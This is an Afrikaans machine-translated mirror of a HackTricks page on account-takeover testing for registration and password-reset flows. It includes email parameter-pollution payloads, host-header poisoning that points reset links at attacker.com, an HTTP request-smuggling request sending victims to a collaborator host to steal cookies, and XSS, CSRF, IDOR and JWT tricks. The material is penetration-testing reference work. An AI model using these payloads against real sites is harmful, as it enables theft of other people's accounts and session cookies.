mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 12:43:23 +00:00
206 lines
9.4 KiB
Markdown
206 lines
9.4 KiB
Markdown
# Registrasie & Oorname Kw vulnerabilities
|
|
|
|
{% hint style="success" %}
|
|
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Ondersteun HackTricks</summary>
|
|
|
|
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
|
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Deel hacking truuks deur PR's in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
|
|
## Registrasie Oorname
|
|
|
|
### Dubbele Registrasie
|
|
|
|
* Probeer om te genereer met 'n bestaande gebruikersnaam
|
|
* Kyk na verskillende e-pos:
|
|
* hoofletters
|
|
* \+1@
|
|
* voeg 'n punt in die e-pos by
|
|
* spesiale karakters in die e-pos naam (%00, %09, %20)
|
|
* Sit swart karakters na die e-pos: `test@test.com a`
|
|
* victim@gmail.com@attacker.com
|
|
* victim@attacker.com@gmail.com
|
|
|
|
### Gebruikersnaam Enumerasie
|
|
|
|
Kyk of jy kan uitvind wanneer 'n gebruikersnaam reeds binne die toepassing geregistreer is.
|
|
|
|
### Wagwoordbeleid
|
|
|
|
Skep 'n gebruiker en kyk na die wagwoordbeleid (kyk of jy swak wagwoorde kan gebruik).\
|
|
In daardie geval kan jy probeer om akrediteer te bruteforce.
|
|
|
|
### SQL Inbraak
|
|
|
|
[**Kyk na hierdie bladsy** ](sql-injection/#insert-statement)om te leer hoe om rekeningoorname te probeer of inligting te onttrek via **SQL Inbrake** in registrasievorms.
|
|
|
|
### Oauth Oorname
|
|
|
|
{% content-ref url="oauth-to-account-takeover.md" %}
|
|
[oauth-to-account-takeover.md](oauth-to-account-takeover.md)
|
|
{% endcontent-ref %}
|
|
|
|
### SAML Kw vulnerabilities
|
|
|
|
{% content-ref url="saml-attacks/" %}
|
|
[saml-attacks](saml-attacks/)
|
|
{% endcontent-ref %}
|
|
|
|
### Verander E-pos
|
|
|
|
Wanneer geregistreer, probeer om die e-pos te verander en kyk of hierdie verandering korrek geverifieer word of of jy dit na arbitrêre e-posse kan verander.
|
|
|
|
### Meer Kontroles
|
|
|
|
* Kyk of jy **weggooie e-posse** kan gebruik
|
|
* **Lang** **wagwoord** (>200) lei tot **DoS**
|
|
* **Kyk na koerslimiete op rekening skep**
|
|
* Gebruik username@**burp\_collab**.net en analiseer die **terugroep**
|
|
|
|
## **Wagwoord Herstel Oorname**
|
|
|
|
### Wagwoord Herstel Token Lek Via Verwysing <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
|
|
|
|
1. Versoek wagwoord herstel na jou e-pos adres
|
|
2. Klik op die wagwoord herstel skakel
|
|
3. Moet nie wagwoord verander nie
|
|
4. Klik op enige 3de party webwerwe (bv: Facebook, twitter)
|
|
5. Intercepteer die versoek in Burp Suite proxy
|
|
6. Kyk of die verwysingskop lek wagwoord herstel token.
|
|
|
|
### Wagwoord Herstel Besmetting <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
|
|
|
|
1. Intercepteer die wagwoord herstel versoek in Burp Suite
|
|
2. Voeg of wysig die volgende koppe in Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
|
|
3. Stuur die versoek met die gewysigde kop\
|
|
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
|
|
4. Soek na 'n wagwoord herstel URL gebaseer op die _host kop_ soos : `https://attacker.com/reset-password.php?token=TOKEN`
|
|
|
|
### Wagwoord Herstel Via E-pos Parameter <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
|
|
```powershell
|
|
# parameter pollution
|
|
email=victim@mail.com&email=hacker@mail.com
|
|
|
|
# array of emails
|
|
{"email":["victim@mail.com","hacker@mail.com"]}
|
|
|
|
# carbon copy
|
|
email=victim@mail.com%0A%0Dcc:hacker@mail.com
|
|
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
|
|
|
|
# separator
|
|
email=victim@mail.com,hacker@mail.com
|
|
email=victim@mail.com%20hacker@mail.com
|
|
email=victim@mail.com|hacker@mail.com
|
|
```
|
|
### IDOR op API Parameters <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
|
|
|
|
1. Aanvaller moet met hul rekening aanmeld en na die **Verander wagwoord** funksie gaan.
|
|
2. Begin die Burp Suite en onderskep die versoek.
|
|
3. Stuur dit na die herhaler-oortjie en wysig die parameters: Gebruiker ID/e-pos\
|
|
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
|
|
|
|
### Swak Wagwoord Herstel Token <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
|
|
|
|
Die wagwoord herstel token moet ewekansig gegenereer en uniek wees elke keer.\
|
|
Probeer om te bepaal of die token verval of as dit altyd dieselfde is, in sommige gevalle is die generasie-algoritme swak en kan dit geraai word. Die volgende veranderlikes mag deur die algoritme gebruik word.
|
|
|
|
* Tydstempel
|
|
* GebruikerID
|
|
* E-pos van Gebruiker
|
|
* Voornaam en Van
|
|
* Geboortedatum
|
|
* Kriptografie
|
|
* Slegs nommers
|
|
* Klein token volgorde (karakters tussen \[A-Z,a-z,0-9])
|
|
* Token hergebruik
|
|
* Token vervaldatum
|
|
|
|
### Lekke Wagwoord Herstel Token <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
|
|
|
|
1. Trigger 'n wagwoord herstel versoek deur die API/UI vir 'n spesifieke e-pos bv: test@mail.com
|
|
2. Ondersoek die bediener se antwoord en kyk vir `resetToken`
|
|
3. Gebruik dan die token in 'n URL soos `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
|
|
|
|
### Wagwoord Herstel Deur Gebruikersnaam Botsing <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
|
|
|
|
1. Registreer op die stelsel met 'n gebruikersnaam wat identies is aan die slagoffer se gebruikersnaam, maar met spasie voor en/of na die gebruikersnaam ingevoeg. bv: `"admin "`
|
|
2. Versoek 'n wagwoord herstel met jou kwaadwillige gebruikersnaam.
|
|
3. Gebruik die token wat na jou e-pos gestuur is en herstel die slagoffer se wagwoord.
|
|
4. Maak verbinding met die slagoffer se rekening met die nuwe wagwoord.
|
|
|
|
Die platform CTFd was kwesbaar vir hierdie aanval.\
|
|
Sien: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
|
|
|
|
### Rekening Oorname Deur Cross Site Scripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
|
|
|
|
1. Vind 'n XSS binne die toepassing of 'n subdomein as die koekies op die ouerdomein geskope is: `*.domain.com`
|
|
2. Lek die huidige **sessies koekie**
|
|
3. Verifieer as die gebruiker met behulp van die koekie
|
|
|
|
### Rekening Oorname Deur HTTP Versoek Smuggling <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
|
|
|
|
1\. Gebruik **smuggler** om die tipe HTTP Versoek Smuggling (CL, TE, CL.TE) te detecteer\
|
|
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
|
|
2\. Stel 'n versoek op wat die `POST / HTTP/1.1` met die volgende data sal oorskryf:\
|
|
`GET http://something.burpcollaborator.net HTTP/1.1 X:` met die doel om die slagoffers na burpcollab te herlei en hul koekies te steel\
|
|
3\. Finale versoek kan soos volg lyk
|
|
```
|
|
GET / HTTP/1.1
|
|
Transfer-Encoding: chunked
|
|
Host: something.com
|
|
User-Agent: Smuggler/v1.0
|
|
Content-Length: 83
|
|
0
|
|
|
|
GET http://something.burpcollaborator.net HTTP/1.1
|
|
X: X
|
|
```
|
|
Hackerone verslae wat hierdie fout benut\
|
|
\* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\
|
|
\* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666)
|
|
|
|
### Rekening Oorname via CSRF <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
|
|
|
|
1. Skep 'n payload vir die CSRF, bv: “HTML vorm met outomatiese indiening vir 'n wagwoord verandering”
|
|
2. Stuur die payload
|
|
|
|
### Rekening Oorname via JWT <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
|
|
|
|
JSON Web Token kan gebruik word om 'n gebruiker te verifieer.
|
|
|
|
* Wysig die JWT met 'n ander Gebruiker ID / E-pos
|
|
* Kontroleer vir swak JWT handtekening
|
|
|
|
{% content-ref url="hacking-jwt-json-web-tokens.md" %}
|
|
[hacking-jwt-json-web-tokens.md](hacking-jwt-json-web-tokens.md)
|
|
{% endcontent-ref %}
|
|
|
|
## Verwysings
|
|
|
|
* [https://salmonsec.com/cheatsheet/account\_takeover](https://salmonsec.com/cheatsheet/account\_takeover)
|
|
|
|
|
|
{% hint style="success" %}
|
|
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Ondersteun HackTricks</summary>
|
|
|
|
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
|
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|